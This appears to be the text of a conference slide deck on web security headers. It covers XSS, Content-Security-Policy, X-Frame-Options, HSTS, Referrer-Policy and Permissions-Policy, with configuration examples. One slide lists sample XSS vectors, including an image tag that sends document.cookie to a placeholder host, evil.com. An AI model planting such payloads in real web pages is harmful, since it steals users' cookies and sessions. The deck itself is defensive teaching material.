Let's talk about headers
Espen Henriksen
Platform Engineer @ SKIP
Statens Kartverk
esphen_
esphen
espen.dev
Myspace worm
XSS
- Cross Site Scripting
- Sometimes called script injection
- A way for malicious actors to inject code into your application
- One of the top vulnerabilities of today
- Is of a concern whenever you show user provided input like text
Two types
- Reflected XSS
- User input is reflected onto the website
- For example a query parameter in the URL
- http://example.com?msg=<script>...</script>
- Persistent XSS
- Same as above, but more dangerous
- XSS is stored serverside and shown to all users
Why?
Effects
- Steal cookies
- Steal sessions
- Deface sites
- Insert advertising
- Insert cryptocurrency miners
- Blackmail users
- Spread worms
Oh shit
Why is it so hard to stop?
- Some of the many examples of XSS
- <script>
- <style>
- <img src="javascript:..." />
- <img src="invalid_link" onerror="..." />
- <img src="http://evil.com?cookie={{$root.document.cookie}}" />
- Don't roll your own sanitization!
Sanitization
// Sanitize is from DOMPurify
import { isMarkup, sanitize } from '@oms/utils';
// Adapted from Sniplet.js
export default ({ body }) => (
// Check if the input is HTML
!isMarkup(body)
// If not, write body as text (safe in React)
? body
// Otherwise, sanitize and write as HTML
// Notice the dangerouslySetInnerHTML
: <div dangerouslySetInnerHTML={sanitize(body)} />
);
Other mitigations
- Scanning for vulnerabilities
- Static analysis preventing dangerouslySetInnerHTML
- Code reviews
- x-xss-protection header (non-standard)
- Another way: CSP header (Content Security Policy)
What is a header anyway?
$ curl -I https://www.vg.no/
Headers are metadata
Hold on to your horses
CSP
-
Content-Security-Policy
- A header sent from the server
- Can also be a meta tag in the <head>
- Helps guard against XSS
- Supported in modern browsers
- Partial support in IE11
Directives
- CSP consists of a series of directives
- Each directive specifies allowed origins
- If a directive does not specify the origin as allowed, the resource is blocked by the browser
- Common values: 'self', 'unsafe-inline', hostnames
Directives
- default-src
- connect-src
- font-src
- frame-src
- img-src
- manifest-src
- media-src
- prefetch-src
- script-src
- style-src
- webrtc-src
- worker-src
- base-uri
- plugin-types
- sandbox
- disown-opener
- form-action
- frame-ancestors
- navigate-to
- block-all-mixed-content
- require-sri-for
- upgrade-insecure-requests
What if you get it wrong?!
- Revert, revert!
- report-uri / report-to reporting directives
- report-uri allows browsers to notify us that a resource has been blocked
- Sentry supports being a report-uri target
What does it look like?
Example
// Allow current domain and trusted.com
Content-Security-Policy: default-src 'self' *.trusted.com
// Allow self and enable reporting
Content-Security-Policy: default-src 'self'; report-uri http://example.com/collector
// Only allow https
Content-Security-Policy: default-src https://example.com
// Default only from self, allow imgur for images
Content-Security-Policy: default-src 'self'; img-src 'self' https://imgur.com
// Only print warnings and enable reporting
Content-Security-Policy-Report-Only: default-src 'self'; report-uri http://example.com/collector
Some good tools
I'm getting the taste for this!
X-Frame-Options
- Gives protection against clickjacking attacks
- Another site can iframe your site, fullscreen and hide iframe w/ CSS
- Attacker overlays harmless content w/ click-through
- You click on malicious content
- X-Frame-Options disallows iframing from unknown sites
// Never allow framing of this site
X-Frame-Options: DENY
// Only allow for sites of the same hostname
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options
- Browsers assume things
- Attacker uploads profile photo with .js file ending
- When rendered it executes because browser assumes it is a script
- X-Content-Type-Options "nosniff" disables MIME-sniffing
// Disable MIME sniffing
X-Content-Type-Options: nosniff
Strict-Transport-Security
- HTTPS is good!
- Letsencrypt
- Browsers still assume HTTP mostly
- HTTP can be Man-in-the-middle attacked
- Downgrade attacks
- HSTS forces HTTPS
- Preload forces HTTPS on first load too
// Force HTTPS
Strict-Transport-Security: max-age=31536000; includeSubDomains
// Force and preload
Strict-Transport-Security: max-age=63072000; includeSubDomains; preload
Referrer-Policy
- By default a Referer header is passed on every link click
- "I see you came from a YT video on beating kittens"
- Allows tracking
- Username in URL? PII! GDPR!
- No real reason to pass that info on users
// Never send referer, even for requests to your site
Referrer-Policy: no-referrer
// Don't send referer unless in's the same site
Referrer-Policy: same-origin
Permissions-Policy
- Browser has lots of powerful APIs
- APIs have bugs
- Bugs can be abused
- XSS can abuse your users
- Less features=less attack surface
- Permissions-Policy lets you disable features you don't use
// Allow geolocation and disallow microphone
Permissions-Policy: geolocation=(self "https://example.com"), microphone=()
// Set via iframe
<iframe src="https://example.com" allow="geolocation *"></iframe>
Spørsmål
(Hvis vi har tid)
Mer om SKIP
skip.kartverket.no
Jobb i Kartverket
kartverket.no/om-kartverket/jobb-i-kartverket
Fin
https://slides.com/esphen/security-headers
Security Headers
By Eline H
Security Headers
- 31